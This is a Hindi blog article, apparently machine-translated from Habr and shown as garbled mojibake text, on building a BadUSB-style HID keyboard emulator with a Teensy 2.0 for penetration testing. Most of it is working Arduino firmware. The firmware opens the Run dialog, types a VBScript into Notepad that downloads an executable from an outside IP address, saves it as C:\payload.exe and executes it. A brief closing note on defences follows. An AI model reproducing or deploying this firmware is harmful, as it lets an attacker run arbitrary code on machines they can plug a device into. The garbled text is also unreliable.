Arduino HID рдПрдореБрд▓реЗрдЯрд░ рдХрд╛ рдореБрдХрд╛рдмрд▓рд╛ рдХрд░рддрд╛ рд╣реИ

рдЫрд╡рд┐
рд╣рд╛рд▓ рдХреЗ рд╡рд░реНрд╖реЛрдВ рдореЗрдВ, рдХрдИ рдХреБрдЫ рд╣рдЯрд╛рдиреЗ рдпреЛрдЧреНрдп рднрдВрдбрд╛рд░рдг рдореАрдбрд┐рдпрд╛ рд╕реЗ рд╕рд╛рд╡рдзрд╛рди рд╣реЛ рдЧрдП рд╣реИрдВред рдФрд░ рдареАрдХ рд╣реА рддреЛ рд╣реИред рд╕рдм рдХреЗ рдмрд╛рдж, рдПрдХ рддрд░рд╣ рд╕реЗ рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп, рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рдХреА рдЬрдбрд╝ рдореЗрдВ autorun.inf рдХреЗ рд╕рд╛рде рдореБрд▓рд╛рдХрд╛рдд рдХреАред рд▓реЗрдХрд┐рди, рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рдореАрдбрд┐рдпрд╛ рд╕реЗ рдСрдЯреЛрд░рди рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдХрдиреЗрдХреНрдЯ рдХрд░рддреЗ рд╕рдордп рдПрдХрдорд╛рддреНрд░ рд╣рдорд▓реЗ рд╡реЗрдХреНрдЯрд░ рд╕реЗ рдмрд╣реБрдд рджреВрд░ рд╣реИред рдЖрдВрддрд░рд┐рдХ рдкреНрд░рд╡реЗрд╢ рдкрд░реАрдХреНрд╖рдгреЛрдВ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░рддреЗ рд╕рдордп, рдЧреНрд░рд╛рд╣рдХ рдХреЛ рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд рд╡реИрдХреНрдЯрд░реЛрдВ рдХреЛ рдЬрд╛рдВрдЪрдирд╛ рдФрд░ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдмрд╛рдИрдкрд╛рд╕ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рддрд╛рд▓реЗ рднреА рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред
рдХрдЯреМрддреА рдХреЗ рддрд╣рдд, рдПрдХ рдЫрд┐рдкреА рд╣реБрдИ рдПрдордХреЗ рдбрд┐рд╡рд╛рдЗрд╕ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдЬреЛ рдПрдХ рдЫрд┐рдкрд╛рдИ рдХреАрдмреЛрд░реНрдб рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рд╣рдорд▓реЗ рдХреЗ рддрд╣рдд рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рд╣реЛрддрд╛ рд╣реИред

рд╣рдорд▓рд╛ рд╡реЗрдХреНрдЯрд░ рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреА рдФрд░ рд╕реЛрд╢рд▓ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдХреЗ рдЬрдВрдХреНрд╢рди рдкрд░ рд╕реНрдерд┐рдд рд╣реИ, рдЕрд░реНрдерд╛рддреН, рдЗрд╕реЗ рдПрдХ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рднреМрддрд┐рдХ рд░реВрдк рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд рд╣рдорд▓рд╛рд╡рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдЬреЛ "рдЗрдирдкреБрдЯ" рд╣реЛрдиреЗ рдХрд╛ рджрд┐рдЦрд╛рд╡рд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рдЖрд╡рд╢реНрдпрдХ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред рдЙрдкрд░реЛрдХреНрдд рд╕рднреА рд╢рд╛рдирджрд╛рд░ рджрд┐рдЦрдирд╛ рдмрдВрдж рдХрд░ рджреЗрддреЗ рд╣реИрдВ, рдЖрдкрдХреЛ рдмрд╕ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рдФрд░ рдЕрдЬреНрдЮрд╛рдд рдореВрд▓ рдХреЗ рдпреВрдПрд╕рдмреА рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдпрд╛рдж рд░рдЦрдирд╛ рд╣реЛрдЧрд╛, рдЬреЛ рдХрд░реНрдордЪрд╛рд░реА, рдХрднреА-рдХрднреА, рдЕрдкрдиреЗ рдХрд╛рд░реНрдпрд╕реНрдерд╛рдиреЛрдВ рд╕реЗ рдЬреБрдбрд╝рддреЗ рд╣реИрдВред рдЖрдкрдХреЛ рд╣рдореЗрд╢рд╛ рдмрддрдЦ рдкрд░реАрдХреНрд╖рдг рдкрд░ рднрд░реЛрд╕рд╛ рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП: рдпрд╣рд╛рдВ, рд╕рдм рдХреБрдЫ рдЬреЛ рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рдХреА рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ рд╡рд╣ рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рд╣реИред

рд▓реЛрд╣рд╛


рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдХреЗ рд░реВрдк рдореЗрдВ, рд╣рдо Teensy USB Development Board , Teensy 2.0 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред
рдЫрд╡рд┐



рдореБрд▓рд╛рдпрдо


рдПрдХ рдорд╛рдЗрдХреНрд░реЛрдХрдВрдЯреНрд░реЛрд▓рд░ рдХреЗ рд╕рд╛рде рдХреАрдмреЛрд░реНрдб рдкрд░ рдХреАрд╕реНрдЯреНрд░реЛрдХ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХрд╛ рдмрд╣реБрдд рдирдпрд╛ рд╡рд┐рдЪрд╛рд░ рдирд╣реАрдВ рд╣реИ, рдФрд░ рд╣рдорд╛рд░реА рдорджрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рд╕рд╛рд░реЗ рддреИрдпрд╛рд░ рд╕рдорд╛рдзрд╛рди рд╣реИрдВред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЖрдк рдлрд░реНрдорд╡реЗрдпрд░ рдХреЛрдб рдХреЛ рдХрдИ рддрд░реАрдХреЛрдВ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рд╕реЛрд╢рд▓ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдЯреВрд▓рдХрд┐рдЯ

рдпрд╣ рдмреИрдХ-рдЯреНрд░реИрдХ рдореЗрдВ рдкреВрд░реНрд╡рд╕реНрдерд╛рдкрд┐рдд рд╣реИ, рдЖрдкрдХреЛ рдкреЗрд▓реЛрдб рд╡рд┐рдХрд▓реНрдкреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдЪреБрдирдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:

рдЖрдЙрдЯрдкреБрдЯ рдПрдХ * .pde рдлрд╛рдЗрд▓ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдХрдВрдкрд╛рдЗрд▓ рдФрд░ рдлрд░реНрдорд╡реЗрдпрд░ рдХреЗ рд▓рд┐рдП рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛрдб рддреИрдпрд╛рд░ рд╣реИред

рдХреМрдЯрд┐рд▓реНрдп

рдПрд╕рдИрдЯреА рд╕реЗ рдореЙрдбреНрдпреВрд▓ рдХреА рддрд░рд╣, рдпрд╣ рдПрдХ рдлрд░реНрдорд╡реЗрдпрд░ рдХреЛрдб рдЬрдирд░реЗрдЯрд░ рд╣реИ, рд▓реЗрдХрд┐рди, рдЙрдкрд░реЛрдХреНрдд рдХреЗ рд╡рд┐рдкрд░реАрдд, рдЗрд╕рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рд╡рд┐рдз рднрд╛рд░ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ рдФрд░ рдирд┐рдЦрд┐рд▓ рдорд┐рддреНрддрд▓ рдирд╛рдордХ рдПрдХ рдЙрддреНрд╕рд╛рд╣реА рджреНрд╡рд╛рд░рд╛ рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рд╡рд┐рдХрд╕рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕рдВрд╕реНрдХрд░рдг 0.2.1 рдореЗрдВ рд╡рд┐рдВрдбреЛрдЬ рдХреЗ рд▓рд┐рдП 20 рдФрд░ рд▓рд┐рдирдХреНрд╕ рдХреЗ рд▓рд┐рдП 3 рдкреЗрд▓реЛрдб рд╡рд┐рдХрд▓реНрдк рд╣реИрдВред рд▓реЗрдХрд┐рди рдЕрдзрд┐рдХрд╛рдВрд╢ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдкрд╛рд╡рд░-рд╢реЗрд▓ рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рддреЛрдбрд╝ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ, рдЬреЛ рдЗрд╕реЗ рд╣рд▓реНрдХреЗ рдврдВрдЧ рд╕реЗ рдбрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рдВрдбреЛрдЬ рдПрдХреНрд╕рдкреА рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдореБрд╢реНрдХрд┐рд▓ рдмрдирд╛рддрд╛ рд╣реИред

рдХреЛрдб рдЦреБрдж рд▓рд┐рдЦреЗрдВ

рд╕реБрд╡рд┐рдзрд╛ рдХреЗ рд▓рд┐рдП, рдЖрдк рдлреБрдХрд▓рд┐рдм рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ " рдХрд┐рд╢реЛрд░ -рд╡реЗрдХреНрдЯрд░" рдХреЗ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдПрдХ рдЕрдЧреНрд░рдгреА рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдИ рдЧрдИ рд╣реИ, рдПрдбреНрд░рд┐рдпрди рдХреНрд░реЗрдВрд╢реЙ (рдЗрд░реЙрдиреНрдЧреЗрдХ) рдирд╛рдордХ рдПрдХ рд╡реНрдпрдХреНрддрд┐ред рдпрд╣ рдХрдИ рдирд┐рдпрдорд┐рдд рд╕рдВрдЪрд╛рд▓рди рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╡рд┐рднрд┐рдиреНрди рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдореЛрдВ рдХреЗ рд▓рд┐рдП рд▓рд╛рдЧреВ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдЦреЛрд▓рдирд╛ред

рд╣рдо рдЬреЛ рднреА рд╡рд┐рдзрд┐ рдЪреБрдирддреЗ рд╣реИрдВ, рдЕрдВрдд рдореЗрдВ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╣рдорд╛рд░реЗ рдлрд░реНрдорд╡реЗрдпрд░ рдХреЗ рдХреЛрдб рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝рд╛рдЗрд▓ рд╣реЛрдЧреА, рдЬрд┐рд╕реЗ рд╣рдореЗрдВ рдПрдордХреЗ рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдФрд░ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, Arduino рдФрд░ teesyduino рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ - arduino рдХреЗ рд▓рд┐рдП рдПрдХ рдРрдб-рдСрди рдЬреЛ рд╣рдорд╛рд░реЗ рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдХреЗ рд▓рд┐рдП рдмрд┐рд▓реНрдб рд╕рдорд░реНрдерди рдЬреЛрдбрд╝рддрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рд╕рд╛рде рджрд░реНрдЬрдиреЛрдВ рдЙрдкрдпреЛрдЧреА рдЙрджрд╛рд╣рд░рдг рднреАред

рдпрд╣ рд╕рдВрдЧреНрд░рд╣ рд╕реЗ рдкрд░реНрдпрд╛рд╡рд░рдг рдХреЛ рдЕрдирдкреИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ, рдФрд░ рдпрд╣ рд▓реЙрдиреНрдЪ рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рддреИрдпрд╛рд░ рд╣реИред рдХрд┐рд╢реЛрд░рд╛рд╡рд╕реНрдерд╛ рдХреА рд╕реНрдерд╛рдкрдирд╛ рдХреЗ рджреМрд░рд╛рди, рдПрдХ рдпреВрдПрд╕рдмреА рд╕реАрд░рд┐рдпрд▓ рдбреНрд░рд╛рдЗрд╡рд░ рднреА рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдФрд░ рдЖрдкрдХреЛ рд╕рд░реНрд╡реЛ рд╕реЗ рд▓реЗрдХрд░ рдЬреАрдкреАрдПрд╕ рд░рд┐рд╕реАрд╡рд░ рддрдХ рд╕рднреА рдкреНрд░рдХрд╛рд░ рдХреЗ рдмрд╛рд╣реНрдп рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрддрд┐рд░рд┐рдХреНрдд рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХрд╛ рдЪрдпрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рд╣рдорд╛рд░реЗ рдЖрдЬ рдХреЗ рдХрд╛рд░реНрдп рдХреЗ рд▓рд┐рдП, рдЙрдирдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрдЧреА, рд▓реЗрдХрд┐рди рд╡реЗ рд╕рднреА рдЕрдкрдиреЗ рдЖрдк рдореЗрдВ рдХрд╛рдлреА рдЙрддреНрд╕реБрдХ рд╣реИрдВ рдФрд░ рдХреЛрдб рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рд╣реИрдВред

рдЫрд╡рд┐

рдЕрдм рд░рди рдХрд░реЗрдВ рдФрд░ рдмреЛрд░реНрдб рдХреЗ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВред

рдЫрд╡рд┐

рд╣рдо рдЗрдирдкреБрдЯ рдбрд┐рд╡рд╛рдЗрд╕ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░реЗрдВрдЧреЗ, рдЗрд╕рд▓рд┐рдП рд╣рдо рдЙрдкрдпреБрдХреНрдд рдкреНрд░рдХрд╛рд░ рдХреЗ рдпреВрдПрд╕рдмреА рдХрд╛ рдЪрдпрди рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рддреЛ, рдПрдХ рдорд╛рдореВрд▓реА рдЯреВрд▓рдХрд┐рдЯ рддреИрдпрд╛рд░ рд╣реИ, рдФрд░ рдЖрдк рдПрдХ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд▓рд┐рдЦрдирд╛ рд╢реБрд░реВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЪрд▓реЛ рд░реЙрдХ!


рд╡реИрд╢реНрд╡рд┐рдХ рдЪрд░ рд╕реЗрдЯ рдХрд░реЗрдВ
int ledPin = 11; // ,
int complete_flag =0; //, ,


рдореБрдЦреНрдп рд▓реВрдк рд╕реЗ рдкрд╣рд▓реЗ, рд╕реЗрдЯрдЕрдк () рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдПрдХ рдмрд╛рд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдореЗрдВ, рд╣рдо рдПрд▓рдИрдбреА рдХреЗ рд╕рд╛рде рдмреНрд▓рд┐рдВрдХ рдХрд╛ рд╕реНрд╡рд╛рдЧрдд рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ рд╕рд╛рде рд╣реА рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рд╛рде HID рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдЖрд░рдВрднреАрдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд╕реЗрдХрдВрдб рджреЗрддреЗ рд╣реИрдВред

void setup() {
pinMode(ledPin, OUTPUT);
for(int i=0;i<=2;i++)
{
delay(1000);
digitalWrite(ledPin,HIGH);
delay(1000);
digitalWrite(ledPin,LOW);
} }


рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рд╡рд┐рди + рдЖрд░ рд╣реЙрдЯрдХреА рдХреЛ "рджрдмрд╛рдХрд░" рдорд╛рдирдХ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рд╕рдВрд╡рд╛рдж рдХрд╣рддреЗ рд╣реИрдВред

void loop() {
if(!complete_flag)
{
Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();


рд╕рдВрд╡рд╛рдж рдЦреБрд▓рдиреЗ рдХреЗ рдмрд╛рдж рдереЛрдбрд╝рд╛ рдЗрдВрддрдЬрд╛рд░ рдХрд░реЗрдВред рдпрд╣рд╛рдВ рдФрд░ рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЖрдЧреЗ, 1 рд╕реЗрдХрдВрдб рдХреА рджреЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ - рдПрдХ рдореВрд▓реНрдп рдЬреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдЪрд┐рдд рд░реВрдк рд╕реЗ рдмрдбрд╝рд╛ рд╣реИ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдХреА рдЬрд╡рд╛рдмрджреЗрд╣реА рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ (рдРрд╕рд╛ рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдПрдХ рдиреЛрдЯрдмреБрдХ рдЖрдзрд╛ рдорд┐рдирдЯ рдЦреБрд▓рддрд╛ рд╣реИ)ред

delay(1000);

рдиреЛрдЯрдкреИрдб рдЪрд▓рд╛рдПрдВред

Keyboard.println("notepad");
delay(1000);


рдЕрдм рд╣рдорд╛рд░реЗ рд╕рд╛рдордиреЗ рдПрдХ рдЯреЗрдХреНрд╕реНрдЯ рдПрдбрд┐рдЯрд░ рд╣реИ, рд╣рдо рдПрдХ рд╡реАрдмреАрдПрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ "рдЯрд╛рдЗрдк" рдХрд░реЗрдВрдЧреЗ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдерд░реНрдб-рдкрд╛рд░реНрдЯреА рд╕рд░реНрд╡рд░ рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рд░рди рдХрд░реЗрдЧрд╛ред

Keyboard.println("Set xml=CreateObject(\"Microsoft.XMLHTTP\")");
Keyboard.println("xml.Open \"GET\",\"http://192.168.1.137/calc.\"&\"exe\",False");
Keyboard.println("xml.Send");
Keyboard.println("set oStream=createobject(\"Adodb.Stream\")");
Keyboard.println("Const adTypeBinary=1");
Keyboard.println("Const adSaveCreateOverWrite=2");
Keyboard.println("Const adSaveCreateNotExist=1 ");
Keyboard.println("oStream.type=1");
Keyboard.println("oStream.open");
Keyboard.println("oStream.write xml.responseBody");
Keyboard.println("oStream.savetofile \"C:\\payload.\"&\"exe\", 2");
Keyboard.println("oStream.close");
Keyboard.println("Set wshShell=CreateObject(\"WScript.Shell\")");
Keyboard.println("WshShell.Exec (\"C:\\payload.\"&\"exe\")");


рдбреНрд░рд╛рдЗрд╡ C (Alt + F4 -> Enter -> рдлрд╛рдЗрд▓ рдХрд╛ рдирд╛рдо -> рдПрдВрдЯрд░) рджрд░реНрдЬ рдХрд░реЗрдВред

Keyboard.set_modifier(MODIFIERKEY_LEFT_ALT);
Keyboard.set_key1(KEY_F4);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println("");
delay(1000);
Keyboard.println("c:\\getpayload.vbs");


рдкрд╣рд▓реЗ рдХреА рддрд░рд╣, рд╡рд┐рди + рдЖрд░, рдФрд░ рдирдИ рдмрдирд╛рдИ рдЧрдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЪрд▓рд╛рдПрдВред

Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println("c:\\getpayload.vbs");
complete_flag = 1;
} }


рдпрд╣ рд╕рднреА рдХреЛ рдХрд┐рд╢реЛрд░рд╛рд╡рд╕реНрдерд╛ рдореЗрдВ рднрд░рдиреЗ рдХрд╛ рд╕рдордп рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдмрд╕ рдЕрдкрд▓реЛрдб рдмрдЯрди рджрдмрд╛рдПрдВ, рдФрд░ рд╕рдВрдХрд▓рди рдкреВрд░рд╛ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдПрдХ рдХрд┐рд╢реЛрд░-рд▓реЛрдбрд░ рд╡рд┐рдВрдбреЛ рджреЗрдЦреЗрдВрдЧреЗред рдпрд╣ USB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣рдорд╛рд░реЗ рдмреЛрд░реНрдб рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдФрд░ рдПрдХ рдмрдЯрди рджрдмрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╣реБрдЖ рд╣реИред рдлрд░реНрдорд╡реЗрдпрд░ рдХреЗ рдмрд╛рдж, рдорд╛рдЗрдХреНрд░реЛрдХрдВрдЯреНрд░реЛрд▓рд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд░рд┐рдмреВрдЯ рдФрд░ рдХрд╛рд░реНрдпрдХреНрд░рдо рд╢реБрд░реВ рдХрд░реЗрдЧрд╛ред

рдЫрд╡рд┐

рдПрдХреНрд╢рди!




рдЕрдВрдд рдореЗрдВ, рдореИрдВ рдпрд╣ рдиреЛрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВ рдХрд┐ рдРрд╕реЗ рд╣рдорд▓реЛрдВ рд╕реЗ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдУрдПрд╕ рдореЗрдВ рдирдП рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рд╡рд┐рд╢реЗрд╖ рд╕рд╛рдзрдиреЛрдВ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рд╕рд┐рд╕реНрдЯрдо рджреНрд╡рд╛рд░рд╛ рд╡реЗрдВрдбрд░ рдЖрдИрдбреА рдФрд░ рдЙрддреНрдкрд╛рдж рдЖрдИрдбреА рдХреЗ рд╕рдВрдпреЛрдЬрди рд╕реЗ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдмрджрд▓реЗ рдореЗрдВ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рдкрдВрдЬреАрдХреГрдд рд▓реЛрдЧреЛрдВ рдХреЗ рд╕рд╛рде рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рд╢реНрд╡реЗрдд рд╕реВрдЪреА рджреНрд╡рд╛рд░рд╛ рдЕрд╡рд░реБрджреНрдз рднреА рд░рд╛рдордмрд╛рдг рдирд╣реАрдВ рд╣реИред HID рдПрдореБрд▓реЗрдЯрд░реЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдЕрд╡рд░реБрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдореЗрд░реА рд░рд╛рдп рдореЗрдВ, рд╣реЗрдпреБрд░рд┐рд╕реНрдЯрд┐рдХ рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрдирдкреБрдЯ рдЧрддрд┐ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рдЖрдзрд╛рд░ рдкрд░ред

Source: https://habr.com/ru/post/In141838/


All Articles